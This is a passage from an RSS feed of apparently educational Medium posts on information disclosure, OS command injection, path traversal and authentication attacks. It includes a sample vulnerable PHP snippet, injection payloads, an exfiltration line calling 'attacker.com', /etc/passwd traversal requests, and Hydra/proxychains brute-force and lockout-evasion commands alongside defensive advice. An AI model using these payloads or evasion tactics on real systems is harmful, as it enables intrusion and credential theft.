            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HlKxUdoeYrlQSYG0rbv88A.png" /></figure><p>Web security is a vast and complex field, and mastering all its aspects is quite challenging. However, with time and dedication, we can gradually deepen our understanding.</p><p>One of the most critical vulnerabilities in web security is <strong>information disclosure</strong>, which requires thorough reconnaissance (recon) work to detect properly. If we are conducting professional security testing, it’s essential to dedicate at least one full day to the recon phase alone.</p><p>Before performing web crawling with web security tools, it’s beneficial to start with passive scanning. This aligns with the methodology of penetration testing and security testing. The recon phase is divided into two categories: <strong>active scan</strong> and <strong>passive scan</strong>. The key difference between them is that passive scanning doesn’t leave traces in the logs.</p><p>For passive scanning, we can use the pre-installed tools available on Kali Linux, such as:</p><ul><li><strong>theHarvester</strong></li><li><strong>Amass</strong></li><li><strong>Sublist3r</strong></li><li><strong>Dnsrecon</strong></li><li><strong>Whois</strong></li><li><strong>Recon-ng</strong></li><li><strong>Maltego</strong></li></ul><p>These tools allow us to query third-party sources without alerting the target. In addition to these, I find OSINT (Open Source Intelligence) tools to be quite advantageous. Tools like:</p><ul><li><strong>Censys</strong></li><li><strong>VirusTotal</strong></li><li><strong>TalosIntelligence</strong></li><li><strong>urlscan.io</strong></li><li><strong>DNSdumpster</strong></li></ul><p>These OSINT tools help us uncover valuable information during recon. The goal here is to perform comprehensive reconnaissance to identify potential vulnerabilities in the target.</p><p>After this, we can proceed with active scanning, where we can identify IP addresses, open ports, service versions, OS fingerprints, and third-party applications. This enables us to perform a thorough scan of the system and look for information disclosure vulnerabilities in detail.</p><p>It’s also crucial to examine the web side in-depth. This includes reviewing the source code, analyzing developer comments, checking for any data leakage in the assets, and performing a robust crawling process. I’ve provided a more detailed explanation below, and I hope this will be helpful.</p><p>Information disclosure, also known as information leakage, occurs when a website unintentionally reveals sensitive data to users. This type of vulnerability can expose a wide range of information, such as:</p><ul><li><strong>User data</strong>: usernames, financial information, or personal details</li><li><strong>Sensitive business information</strong>: proprietary data or confidential strategies</li><li><strong>Technical details</strong>: website infrastructure, server configurations, or error messages</li></ul><p>While leaking user or business data poses clear risks, disclosing technical information can be just as dangerous. Attackers may use this information as a stepping stone to launch more sophisticated attacks by identifying new vulnerabilities in the system.</p><h4>Common Ways Websites Leak Information</h4><ol><li><strong>Unsecured files</strong>: Websites may inadvertently expose sensitive files through a variety of channels. For example:</li></ol><ul><li>A misconfigured robots.txt file might reveal the locations of hidden directories.</li><li>Backups of source code may be accessible online.</li><li>Error messages might explicitly mention database table names or other sensitive details.</li></ul><p><strong>2.Source code vulnerabilities</strong>: Hard-coded API keys, database credentials, or sensitive information within the source code can be exploited by attackers if they gain access.</p><p><strong>3.Diagnostic features</strong>: Websites that fail to disable debugging or verbose error messages may provide attackers with clues about the system’s internal workings.</p><p><strong>4.Behavioral differences</strong>: Sometimes even small variations in how a website responds to different inputs can give away valuable information. For example, if a website responds with different error messages for invalid and valid usernames during login attempts, attackers can use this to enumerate valid credentials.</p><h4>Examples of Information Disclosure Vulnerabilities</h4><ul><li><strong>Directory Listings</strong>: If directory browsing is enabled, attackers can access files and folders directly, exposing sensitive data or configuration files.</li><li><strong>Backup Files</strong>: Temporary or backup files left on the server, such as .bak or .old, can inadvertently expose source code or sensitive data.</li><li><strong>Error Messages</strong>: If error messages reveal too much detail (e.g., specific SQL queries), they can be used to craft attacks such as SQL injection.</li><li><strong>Unsecured APIs</strong>: Exposing internal API endpoints that contain sensitive operations or data can be a goldmine for attackers.</li></ul><h4>Testing for Information Disclosure</h4><p>To identify information disclosure vulnerabilities, it’s important to think broadly and explore multiple avenues. The following are key techniques for testing:</p><p><strong>1.Fuzzing</strong>: By sending unexpected or malformed data to a website’s parameters, testers can observe how the application behaves. Tools like Burp Intruder can automate fuzzing to quickly test various inputs, compare responses, and look for anomalies such as:</p><ul><li>Differences in HTTP status codes or response times</li><li>Subtle variations in error messages</li><li>Hints in how long a request takes to process</li></ul><p><strong>2.Response Analysis</strong>: Use automated tools to scan responses for keywords like error, invalid, or SQL-related terms like SELECT. Sometimes, subtle differences in error handling or response formats can reveal critical information.</p><p><strong>3.Crawling and Directory Listings</strong>: Automated crawlers can help identify hidden directories, backup files, or configuration files that may not be immediately visible to normal users.</p><p><strong>4.Source Code Inspection</strong>: Look for hard-coded sensitive data such as API keys, database credentials, or IP addresses in the codebase or configuration files.</p><h4>Tools for Detecting Information Disclosure</h4><ul><li><strong>Burp Suite</strong>: Includes features like Intruder for automated fuzzing and Repeater for manual testing.</li><li><strong>OWASP ZAP</strong>: Another widely used tool for web application security testing, which can identify common vulnerabilities including information disclosure.</li><li><strong>DirBuster or Dirsearch</strong>: A directory brute-forcing tool that helps find hidden directories or files on a website.</li></ul><p><strong>Information Disclosure Prevention</strong></p><p>Preventing information disclosure vulnerabilities is crucial to maintaining the security of web applications. Below are some key strategies and best practices to help prevent sensitive data from being unintentionally exposed:</p><p><strong>1. Limit Error Messages</strong></p><ul><li><strong>Avoid detailed error messages in production</strong>: Never display detailed error messages to end users. Error messages should be generic and not reveal any internal details like database structure, file paths, or system configurations.</li><li><strong>Log detailed errors privately</strong>: Keep detailed error logs on the server-side for debugging, but ensure they are not accessible to users.</li></ul><p><strong>2. Disable Debugging and Diagnostic Features</strong></p><ul><li><strong>Turn off debugging mode</strong>: Ensure that debugging features (e.g., detailed stack traces, verbose error messages) are disabled in production environments.</li><li><strong>Secure configuration files</strong>: Double-check that configuration files and debugging tools are not exposed to external users.</li></ul><p><strong>3. Sanitize Output</strong></p><ul><li><strong>Avoid reflecting sensitive information in responses</strong>: Never return sensitive data like usernames, API keys, or database queries in HTTP responses, even for authenticated users.</li><li><strong>Control metadata exposure</strong>: Remove unnecessary metadata, such as server software information (e.g., via HTTP headers like X-Powered-By).</li></ul><p><strong>4. Review Source Code</strong></p><ul><li><strong>Avoid hardcoding sensitive information</strong>: Never hardcode sensitive information such as API keys, credentials, or internal IP addresses in your source code.</li><li><strong>Remove developer comments</strong>: Ensure that developer comments in the codebase, especially those containing sensitive information, are removed before deploying the application.</li></ul><p><strong>5. Secure File Permissions</strong></p><ul><li><strong>Restrict access to sensitive files</strong>: Ensure that configuration files, backup files, and internal directories are not publicly accessible. Implement proper file permissions to prevent unauthorized access.</li><li><strong>Disable directory listing</strong>: Ensure that directory listing is turned off on web servers to prevent attackers from viewing the contents of directories.</li></ul><p><strong>6. Limit API Exposure</strong></p><ul><li><strong>Secure API endpoints</strong>: Restrict access to internal or sensitive API endpoints to authorized users only. Ensure that APIs do not disclose more data than necessary.</li><li><strong>Validate inputs and outputs</strong>: Ensure proper validation of input parameters and output responses to avoid unintentional information disclosure.</li></ul><p><strong>7. Reduce Exposure of Version Information</strong></p><ul><li><strong>Hide version details</strong>: Avoid displaying software version details (e.g., web server, database, framework) in HTTP headers or error messages. Attackers can use version information to target known vulnerabilities.</li></ul><p><strong>8. Encrypt Sensitive Data</strong></p><ul><li><strong>Use HTTPS</strong>: Always encrypt sensitive data in transit by enforcing HTTPS for all communication.</li><li><strong>Encrypt sensitive data at rest</strong>: Ensure that sensitive data, such as user credentials or financial information, is encrypted at rest.</li></ul><p><strong>9. Implement Strong Access Control</strong></p><ul><li><strong>Enforce least privilege</strong>: Ensure users only have access to the data and functions necessary for their roles.</li><li><strong>Role-based access control (RBAC)</strong>: Implement RBAC to limit who can view sensitive data or access critical systems.</li></ul><p><strong>10. Conduct Regular Security Audits</strong></p><ul><li><strong>Penetration testing</strong>: Regularly conduct security audits and penetration tests to identify information disclosure vulnerabilities before attackers can exploit them.</li><li><strong>Code review</strong>: Perform regular code reviews to identify and remove potential information leaks.</li></ul><p>By following these practices, organizations can significantly reduce the risk of information disclosure vulnerabilities and safeguard their systems against potential attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6218b02feade" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Command Injection]]></title>
            <link>https://medium.com/@yfgurs/os-command-injection-3dc1a42541ea?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dc1a42541ea</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Tue, 15 Oct 2024 19:32:09 GMT</pubDate>
            <atom:updated>2024-10-15T19:32:09.954Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aodxijP5TvPCS-Xo8QS9Eg.png" /></figure><p>OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.</p><h4>Injecting OS commands</h4><p><strong>Vulnerable Code (PHP):</strong></p><pre>&lt;?php if (isset($_GET[&#39;file&#39;])) {<br>$file = $_GET[&#39;file&#39;];<br>$command = &quot;cat &quot; . $file;  // Potentially dangerous!<br>system($command);<br>}?&gt;</pre><p><strong>How It Works:</strong></p><ul><li>The code takes user input from the file parameter in a GET request.</li><li>It constructs a shell command using the cat command, which displays the content of the specified file.</li><li>Since there is no validation or sanitization of the user input, an attacker can manipulate this input to execute arbitrary commands.</li></ul><h4>Example of Exploitation</h4><p><strong>Malicious Input:</strong></p><pre>http://example.com/vulnerable.php?file=somefile.txt;ls</pre><p><strong>What Happens:</strong></p><ul><li>The input somefile.txt;ls will result in the command being executed as:</li></ul><pre>cat somefile.txt; ls</pre><ul><li>This executes the cat command to read the content of somefile.txt and then the ls command to list the files in the directory.</li></ul><h4>Useful commands</h4><p>After you identify an OS command injection vulnerability, it’s useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:</p><p><strong>Purpose of command</strong></p><p><strong>Linux</strong></p><p><strong>Windows</strong></p><p>Name of current user</p><p>whoami</p><p>whoami</p><p>Operating system</p><p>uname -a</p><p>ver</p><p>Network configuration</p><p>ifconfig</p><p>ipconfig /all</p><p>Network connections</p><p>netstat -an</p><p>netstat -an</p><p>Running processes</p><p>ps -ef</p><p>tasklist</p><h3>Blind OS command injection vulnerabilities</h3><p>Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.</p><h3>1. Detecting Blind OS Command Injection Using Time Delays</h3><p><strong>Method:</strong> The attacker can send a command that introduces a time delay to see if the application is vulnerable.</p><p><strong>Example:</strong> Assume a vulnerable web application takes a user input for a file and executes a command. The attacker could try the following input:</p><pre>http://example.com/vulnerable.php?file=somefile.txt; sleep 5</pre><p><strong>What Happens:</strong></p><ul><li>If the application is vulnerable, it will take about 5 seconds to respond.</li><li>If it’s not vulnerable, it will respond immediately.</li><li>The attacker can infer that a command injection vulnerability exists if the response is delayed.</li></ul><h3>2. Exploiting Blind OS Command Injection by Redirecting Output</h3><p><strong>Method:</strong> An attacker can use output redirection to write the result of a command to a file, which can then be checked later.</p><p><strong>Example:</strong> Assume the application allows users to specify a command parameter:</p><pre>http://example.com/vulnerable.php?cmd=ls &gt; /tmp/output.txt</pre><p>The attacker can try:</p><pre>http://example.com/vulnerable.php?cmd=ls; echo &#39;test&#39; &gt; /tmp/output.txt</pre><p><strong>What Happens:</strong></p><ul><li>If the command injection is successful, the output of the ls command (or any other command) will be redirected to /tmp/output.txt.</li><li>The attacker can then check the contents of this file later (e.g., by accessing another endpoint that displays file contents) to see if the command was executed successfully.</li></ul><h3>3. Exploiting Blind OS Command Injection Using Out-of-Band (OAST) Techniques</h3><p><strong>Method:</strong> OAST techniques involve using a server controlled by the attacker to receive the output of the injected command.</p><p><strong>Example:</strong> An attacker could exploit a blind OS command injection vulnerability to make the server send a request to their controlled server with sensitive information.</p><p><strong>Setup:</strong></p><p>1. The attacker sets up a listener on their server to receive HTTP requests. For example, using a simple HTTP server:</p><pre>nc -l -p 8080</pre><p>2. The attacker then injects a command that makes the vulnerable application make an HTTP request to their server, like so:</p><pre>http://example.com/vulnerable.php?cmd=curl http://attacker.com/receive?data=$(whoami)</pre><p><strong>What Happens:</strong></p><ul><li>If the command injection is successful, the vulnerable server will make a request to http://attacker.com/receive?data=root, sending the output of the whoami command to the attacker&#39;s server.</li><li>The attacker can check their server logs to see if the request was made, indicating successful exploitation.</li></ul><h3>Ways of injecting OS commands</h3><p>You can use a number of shell metacharacters to perform OS command injection attacks.</p><p>A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:</p><ul><li>&amp;</li><li>&amp;&amp;</li><li>|</li><li>||</li></ul><p>The following command separators work only on Unix-based systems:</p><ul><li>;</li><li>Newline (0x0a or \n)</li></ul><p>On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:</p><ul><li>` injected command `</li><li>$( injected command )</li></ul><p>The different shell metacharacters have subtly different behaviors that might change whether they work in certain situations. This could impact whether they allow in-band retrieval of command output or are useful only for blind exploitation.</p><p>Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using &quot; or &#39;) before using suitable shell metacharacters to inject a new command.</p><h3>How to prevent OS command injection attacks</h3><p>The most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In almost all cases, there are different ways to implement the required functionality using safer platform APIs.</p><p>If you have to call out to OS commands with user-supplied input, then you must perform strong input validation. Some examples of effective validation include:</p><ul><li>Validating against a whitelist of permitted values.</li><li>Validating that the input is a number.</li><li>Validating that the input contains only alphanumeric characters, no other syntax or whitespace.</li></ul><p>Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dc1a42541ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path Traversal]]></title>
            <link>https://medium.com/@yfgurs/path-traversal-c5b74d422ddc?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5b74d422ddc</guid>
            <category><![CDATA[directory-traversal]]></category>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Tue, 15 Oct 2024 10:47:16 GMT</pubDate>
            <atom:updated>2024-10-15T10:47:16.909Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UeZfdHywvveme9XtcA0YnQ.png" /></figure><p>Path traversal is also known as directory traversal. These vulnerabilities enable an attacker to read arbitrary files on the server that is running an application. This might include:</p><ul><li>Application code and data.</li><li>Credentials for back-end systems.</li><li>Sensitive operating system files.</li></ul><p>In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.</p><p>Traversal attacks are a significant risk arising from misconfigurations, and they can lead to critical outcomes. While manual searching for vulnerabilities is important, tools like Dirsearch and DirBuster can help uncover hidden directories and files by brute-forcing paths, thereby increasing the attack surface.</p><p>For instance, you could use <strong>Dirsearch</strong> with the following command:</p><p>python3 dirsearch.py -u <a href="http://example.com/">http://example.com/</a> -e php,html,txt</p><p>This command will search for directories and files with .php, .html, and .txt extensions on the target website, potentially revealing hidden paths that could be exploited in a path traversal attack.</p><p>Similarly, with <strong>DirBuster</strong>, you could configure the tool to brute-force directories on a web server. For example, running a scan might reveal a hidden directory like /admin/backup/, which could contain sensitive files. If the website doesn’t validate file inputs properly, an attacker could then exploit this vulnerability to access restricted files by adding traversal sequences like ../../../.</p><p>Manual testing is crucial to confirm such findings, but using these tools early on helps broaden the attack surface and identify potential weak points.</p><h4>Example 1: Basic Path Traversal</h4><p>A web application allows users to download a file by taking the filename as a URL parameter. If the application does not properly validate the user input, an attacker might use the following URL:</p><pre>http://example.com/download?file=../../etc/passwd</pre><p>This would allow the attacker to access the /etc/passwd file on the server.</p><h4>Example 2: Directory Listing</h4><p>If a web application has a file viewer that takes a directory name as input but does not sanitize the input, an attacker can list files in sensitive directories:</p><pre>http://example.com/view?dir=../../../../var/www/html/uploads</pre><p>This could expose files in the specified directory, potentially revealing sensitive data.</p><h4>Example 3: File Inclusion Attack</h4><p>In a PHP application that includes files based on user input, an attacker can exploit path traversal to include arbitrary files:</p><pre>include($_GET[&#39;file&#39;]);</pre><p>If an attacker sends a request like:</p><pre>http://example.com/index.php?file=../../../../etc/passwd</pre><p>It could lead to the inclusion of the /etc/passwd file, exposing its contents.</p><h4>Example 4: Uploading Malicious Files</h4><p>Some applications allow users to upload files to specific directories without properly validating the file paths. An attacker could manipulate the upload path:</p><pre>http://example.com/upload?file=../../../../var/www/html/uploads/malicious.php</pre><p>If successful, this would allow the attacker to upload a malicious PHP script that could be executed on the server.</p><h4>Example 5: Accessing Configuration Files</h4><p>An attacker may try to access application configuration files that are usually not meant to be accessible through the web:</p><pre>http://example.com/config?file=../../../../config/config.php</pre><p>If the application does not implement proper security measures, sensitive information, such as database credentials, may be exposed.</p><h3>Prevention Measures</h3><p>To mitigate path traversal vulnerabilities, consider the following best practices:</p><ul><li><strong>Input Validation</strong>: Validate and sanitize all user inputs, ensuring that they conform to expected formats.</li><li><strong>Whitelist File Paths</strong>: Implement a whitelist of acceptable file paths and names.</li><li><strong>Use Secure APIs</strong>: Utilize secure APIs that abstract file system access.</li><li><strong>Limit File Permissions</strong>: Restrict the permissions of the directories and files on the server to minimize exposure.</li></ul><p>By following these practices, the risk of path traversal attacks can be significantly reduced.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5b74d422ddc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication Vulnerabilities]]></title>
            <link>https://medium.com/@yfgurs/authentication-vulnerabilities-6ebf1b4bf0e0?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ebf1b4bf0e0</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[authentication-bypass]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Tue, 15 Oct 2024 08:26:15 GMT</pubDate>
            <atom:updated>2024-10-15T08:26:15.217Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fjsw38cUg45jVhnsFdd9Rw.png" /></figure><p>Authentication vulnerabilities can allow attackers to gain unauthorized access to sensitive data and functionalities. Common authentication mechanisms used by websites include:</p><ul><li><strong>Something You Know</strong>: This includes passwords or answers to security questions, often referred to as “knowledge factors.”</li><li><strong>Something You Have</strong>: This refers to a physical object such as a mobile phone or security token, known as “possession factors.”</li><li><strong>Something You Are or Do</strong>: This encompasses biometrics or behavioral patterns, referred to as “inherence factors.”</li></ul><h3>Key Concepts in Authentication</h3><ul><li><strong>Authentication</strong>: The process of verifying a user’s identity based on the factors mentioned above. Proper implementation is crucial to prevent unauthorized access.</li><li><strong>Authorization</strong>: The process of granting specific permissions after successful authentication. This ensures that users can only access resources they are permitted to.</li><li><strong>Auditing</strong>: The process of monitoring user activities through session tracking. This is essential for detecting suspicious behaviors and maintaining accountability.</li></ul><h3><strong>1-Vulnerabilities in Password-Based Login</strong></h3><p>For websites that utilize a password-based login process, users either register their accounts or are assigned accounts by an administrator. Each account is linked to a unique username and a secret password, which the user enters into a login form to authenticate themselves.</p><h4><strong>Brute-Force Attacks</strong></h4><p><strong>Brute-Forcing Usernames</strong><br>This phase involves enumeration, where attackers use social engineering techniques to identify potential usernames. For example, business logins often follow predictable formats such as firstname.lastname@somecompany.com. High-privilege accounts may also have predictable usernames like “admin” or “administrator.” Attackers can use tools such as Hydra, Hashcat, or Burp Suite to conduct brute-force attacks. Many websites implement security measures like threshold limits, CAPTCHA features, or rate limiting to counter these attacks.</p><p><strong>Brute-Forcing Passwords</strong><br>Passwords can also be brute-forced, with the difficulty varying based on their strength. Many websites enforce password policies requiring users to create high-entropy passwords that are theoretically more resistant to brute-force attacks. This often involves enforcing:</p><ul><li>A minimum number of characters</li><li>A mixture of upper and lower case letters</li><li>At least one special character</li></ul><p>Tools like Hydra, Hashcat, and Burp Suite are effective open-source options for this task. While Cain and Abel is also known for password cracking, it is generally slower compared to Hashcat. The Crunch tool is excellent for generating passwords but is resource-intensive, making social engineering methods for obtaining usernames preferable.</p><p><strong>Example Command for Crunch</strong>:</p><p>crunch &lt;min_length&gt; &lt;max_length&gt; &lt;charset&gt; -o &lt;output_file&gt;</p><p>crunch 8 12 0123456789 -o passwords.txt</p><p><strong>Username Enumeration</strong></p><p>Username enumeration occurs when an attacker observes changes in the website’s behavior to determine if a specific username is valid. Indicators include:</p><ul><li><strong>Status Codes</strong>: The returned HTTP status code is typically the same for most guesses since many will be incorrect.</li><li><strong>Error Messages</strong>: Different error messages may indicate whether both the username and password are incorrect or only the password.</li><li><strong>Response Times</strong>: Requests handled within a similar response time may suggest the guessed username is correct if deviations occur.</li></ul><h4><strong>2-Flawed Brute-Force Protection</strong></h4><p>Brute-force attacks often involve numerous failed attempts before an attacker successfully compromises an account. Thus, brute-force protection focuses on making automation of attacks difficult and slowing down the rate of login attempts. Common protective measures include:</p><ul><li>Locking accounts after a certain number of failed login attempts.</li><li>Blocking the remote user’s IP address after excessive login attempts in quick succession.</li></ul><p><strong>Steps to Exploit Flawed Brute-Force Protections</strong></p><p><strong>1.Identify the Protection Mechanism</strong>:</p><ul><li>Is the protection IP-based (blocking an IP after a set number of failed attempts)?</li><li>Is it account-based (locking an account after a specified number of failed attempts)?</li><li>Does the system reset the failed attempt counter after a successful login?</li></ul><p><strong>2.Bypass IP-Based Protection</strong>:</p><ul><li><strong>Use Tor or Proxies</strong>: Attackers often rotate IP addresses to avoid blocking. Tools like ProxyChains (with Tor) allow requests to be routed through different IPs.</li><li><strong>Example Command</strong>: proxychains hydra -l username -P passwordlist.txt target.com</li><li><strong>VPN Services</strong>: VPNs can change the source IP address, enabling continued brute-force attacks from new IPs.</li></ul><p><strong>3.Bypass Account-Based Protection</strong>:</p><ul><li>If the defense resets after a successful login, attackers can:</li><li>Periodically log in to their own accounts. Including valid credentials in the wordlist at intervals can reset the counter. Tools like Hydra or Medusa can automate this process.</li></ul><p><strong>4.Distributed Brute-Force (Botnet or Burp Suite Intruder)</strong>:</p><ul><li>If account locking occurs after a set number of attempts, attackers can distribute login attempts across various IPs using a botnet, complicating detection.</li><li>Burp Suite’s Intruder tool allows customization of brute-force attacks, including throttling requests and using multiple payloads.</li></ul><p><strong>5.Avoid Detection by Slowing Down</strong>:</p><ul><li>Some brute-force protections monitor the rate of login attempts. Slowing down attacks can help avoid triggering these defenses. Tools like Hydra and Patator can specify the rate of requests.</li></ul><p><strong>Example Command</strong>:</p><blockquote>hydra -l username -P passwordlist.txt -t 1 -w 10 target.com ssh</blockquote><p>Here, -t 1 sets one task at a time, and -w 10 establishes a 10-second wait time between attempts.</p><p><strong>6.Credential Stuffing Tactic</strong>:</p><ul><li>When accounts lock after too many failed attempts, attackers may use credential stuffing, employing previously leaked username/password combinations instead of brute-forcing entirely. Tools like Sentry MBA or Snipr are common for this approach.</li></ul><p><strong>7.Throttling Techniques</strong>:</p><ul><li>Some brute-force tools, such as Hydra and Patator, allow attackers to throttle requests, helping avoid protections that monitor for rapid attempts.</li></ul><h4>Tools for Brute-Force and Evasion:</h4><ul><li><strong>Hydra</strong>: A popular tool for brute-forcing various protocols (e.g., SSH, HTTP, FTP).</li></ul><pre>hydra -l username -P passwordlist.txt target.com ssh</pre><ul><li><strong>Medusa</strong>: Another versatile brute-force tool with support for a wide range of services.</li></ul><pre>medusa -h target.com -u username -P passwordlist.txt -M ssh</pre><ul><li><strong>Burp Suite</strong>: Can be used to brute-force HTTP-based login forms with more flexibility<strong>.</strong></li><li><strong>ProxyChains</strong>: Can be used with brute-force tools to rotate IPs through Tor or proxy servers.</li></ul><pre>proxychains hydra -l username -P passwordlist.txt target.com ssh</pre><ul><li><strong>Patator</strong>: A powerful tool that allows throttling, proxying, and advanced error handling for brute-force attacks.</li></ul><pre>patator ssh_login host=target.com user=username password=FILE0 0=passwordlist.txt</pre><h3>3-Vulnerabilities in Other Authentication Mechanisms</h3><h3>Account Locking</h3><p>1. <strong>Identify Candidate Usernames</strong>: Start by establishing a list of candidate usernames likely to be valid. This can be achieved through username enumeration, which involves analyzing the application’s response to login attempts. Additionally, common usernames such as “admin,” “user,” or variations based on the organization’s naming conventions (e.g., first.last@company.com) can be included.</p><p>2. <strong>Select Shortlist of Passwords</strong>: Choose a small list of potential passwords that at least one user is likely to have. The number of passwords should not exceed the maximum allowed login attempts. For example, if the login system permits three attempts, select a maximum of three password guesses.</p><p>3. <strong>Utilize Tools for Brute-Force Attempts</strong>: Using a tool like <strong>Burp Suite’s Intruder</strong>, attempt to log in by systematically testing each selected password against each candidate username. This approach enables you to potentially compromise an account without triggering the account locking mechanism. If even one user has one of the selected passwords, the attack can succeed.</p><h4>User Rate Limiting</h4><p>Websites often employ user rate limiting as a countermeasure against brute-force attacks. When a user makes too many login attempts in a short time, their IP address may be temporarily blocked. Typically, unblocking occurs through one of the following methods:</p><ul><li><strong>Automatic Unblocking</strong>: The IP address is automatically unblocked after a predefined duration.</li><li><strong>Manual Unblocking by an Administrator</strong>: An administrator can review and unblock the IP if deemed appropriate.</li><li><strong>User-Triggered Unblocking</strong>: The user may be required to complete a CAPTCHA challenge to regain access.</li></ul><h4>CAPTCHA Implementation</h4><p>CAPTCHAs, particularly <strong>reCAPTCHA</strong>, are widely utilized to mitigate automated login attempts. By requiring users to complete challenges that are easy for humans but difficult for bots, websites can further protect against brute-force attacks.</p><p>Despite being an older standard, <strong>HTTP Basic Authentication</strong> is still sometimes employed due to its simplicity and ease of implementation. In this method:</p><p>· The client receives an authentication token from the server, created by concatenating the username and password and encoding this string in Base64.</p><p>· This token is stored by the browser, which automatically appends it to the <strong>Authorization</strong> header of every subsequent request, formatted as follows:</p><pre>Authorization: Basic base64(username:password)</pre><p>Although this method is straightforward, it is vulnerable to various attacks, including interception and replay attacks, if not used over HTTPS.</p><h4>Emerging Threats and Social Engineering</h4><p>In today’s cybersecurity landscape, phishing attacks have become increasingly prevalent. While web vulnerabilities like <strong>XSS</strong> (Cross-Site Scripting) and <strong>CSRF</strong> (Cross-Site Request Forgery) are often highlighted, phishing emails frequently serve as the initial point of entry for cyber attacks. This highlights a critical truth in security: regardless of how robust a system may be, the human element often represents the weakest link in the security chain.</p><h4>Vulnerabilities in Multi-Factor Authentication</h4><p>Many websites still rely solely on single-factor authentication using passwords to authenticate users. However, a growing number of sites now implement multi-factor authentication (MFA), requiring users to prove their identity through multiple factors, such as something they know (a password) and something they have (a verification code from a device).</p><p>While it is less practical for most websites to verify biometric factors, two-factor authentication (2FA) has become increasingly common. Users typically enter both their password and a temporary verification code sent to an out-of-band physical device, like a smartphone app or hardware token. This dual-layer of security makes it more difficult for attackers, as gaining simultaneous access to both factors is significantly less likely.</p><p>However, the effectiveness of 2FA relies heavily on its implementation. Poorly designed authentication systems can be vulnerable to various attacks, just as single-factor authentication can.</p><h4>Two-Factor Authentication Tokens</h4><p>Verification codes are often generated by a physical device or mobile app, such as Google Authenticator or an RSA token. These dedicated devices generate verification codes directly and are generally more secure.</p><p>Conversely, some websites send verification codes via SMS. Although this method does provide an additional security layer, it has notable vulnerabilities:</p><ul><li><strong>Interception Risk</strong>: SMS messages can be intercepted, allowing an attacker to capture verification codes.</li><li><strong>SIM Swapping</strong>: An attacker can fraudulently obtain a victim’s SIM card, leading to unauthorized access to SMS messages, including verification codes.</li></ul><p>Some websites generate session cookies based on predictable values, such as a username concatenated with a timestamp. In scenarios where an attacker can create an account, they could analyze their own cookies to deduce the generation method. If successful, they might brute-force other users’ cookies to gain access to their accounts. Thus, simplistic encoding methods should be avoided in security mechanisms.</p><h4>Resetting User Passwords</h4><p>Users often forget their passwords, necessitating secure password reset methods. The process is inherently risky and should be implemented with caution. Common vulnerabilities include:</p><p>· <strong>Sending Passwords via Email</strong>: Websites should never send current passwords through insecure channels. Instead, a new password should be generated and sent. This method relies on the password expiring quickly or users changing it immediately, as it remains vulnerable to man-in-the-middle attacks.</p><p>· <strong>Resetting Passwords via URL</strong>: A more secure method is to send a unique URL to the user, leading to a password reset page. Poor implementations may use easily guessable parameters, allowing attackers to manipulate the URL and reset passwords for arbitrary users. A better practice involves generating a high-entropy token with no identifiable user information in the URL. This token should expire after use and be validated when the reset form is submitted.</p><h4>How to Secure Your Authentication Mechanisms</h4><p>To mitigate vulnerabilities in authentication mechanisms, consider the following strategies:</p><p>1. <strong>Secure User Credentials</strong>:</p><ul><li>Ensure all login data is sent over encrypted connections (HTTPS) and redirect HTTP requests to HTTPS.</li><li>Audit the site for potential exposure of usernames or email addresses through profiles or HTTP responses.</li></ul><p>2. <strong>Don’t Rely on Users for Security</strong>:</p><ul><li>Implement an effective password policy that encourages the use of secure passwords. Tools like zxcvbn can help users create stronger passwords through real-time feedback.</li></ul><p>3. <strong>Prevent Username Enumeration</strong>:</p><ul><li>Use identical error messages and responses for invalid login attempts to prevent attackers from determining valid usernames. Ensure consistent HTTP status codes and response times.</li></ul><p>4. <strong>Implement Robust Brute-Force Protection</strong>:</p><ul><li>Employ IP-based rate limiting and require CAPTCHA completion 